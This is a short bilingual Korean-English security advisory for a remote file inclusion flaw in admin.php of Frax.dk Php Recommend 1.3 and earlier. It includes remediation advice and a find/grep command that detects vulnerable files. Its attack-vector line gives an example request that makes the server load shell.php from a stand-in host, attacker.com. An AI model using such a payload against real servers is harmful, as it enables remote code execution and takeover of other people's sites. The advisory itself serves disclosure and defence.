🇰🇷 한글 설명
Frax.dk Php Recommend 1.3 이하 버전의 admin.php에 원격 파일 포함(RFI) 취약점이 존재합니다. form_include_template 파라미터를 통해 공격자가 악의적인 PHP 코드를 원격에서 실행할 수 있습니다.
💡 쉬운 설명
이 프로그램은 사용자가 지정한 파일을 검증 없이 불러와서 실행합니다. 공격자가 외부 서버의 악성 코드를 URL로 전달하면 서버에서 그 코드가 실행됩니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in admin.php in Frax.dk Php Recommend 1.3 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the form_include_template parameter.
📍 영향받는 시스템
Frax.dk Php Recommend 1.3 및 이전 버전
⚔️ 공격 벡터
form_include_template 파라미터에 원격 파일 URL 전달 (예: admin.php?form_include_template=http://attacker.com/shell.php)
🛡️ 대응 방법
Frax.dk Php Recommend를 최신 버전으로 업그레이드하거나 form_include_template 파라미터 검증 및 로컬 파일만 허용하도록 수정
🔧 검증 코드
검색 결과가 있으면 해당 파일이 존재하며 취약한 파라미터를 사용 중이므로 즉시 패치 필요
find / -name 'admin.php' -path '*/recommend*' 2>/dev/null | xargs grep -l 'form_include_template' 2>/dev/null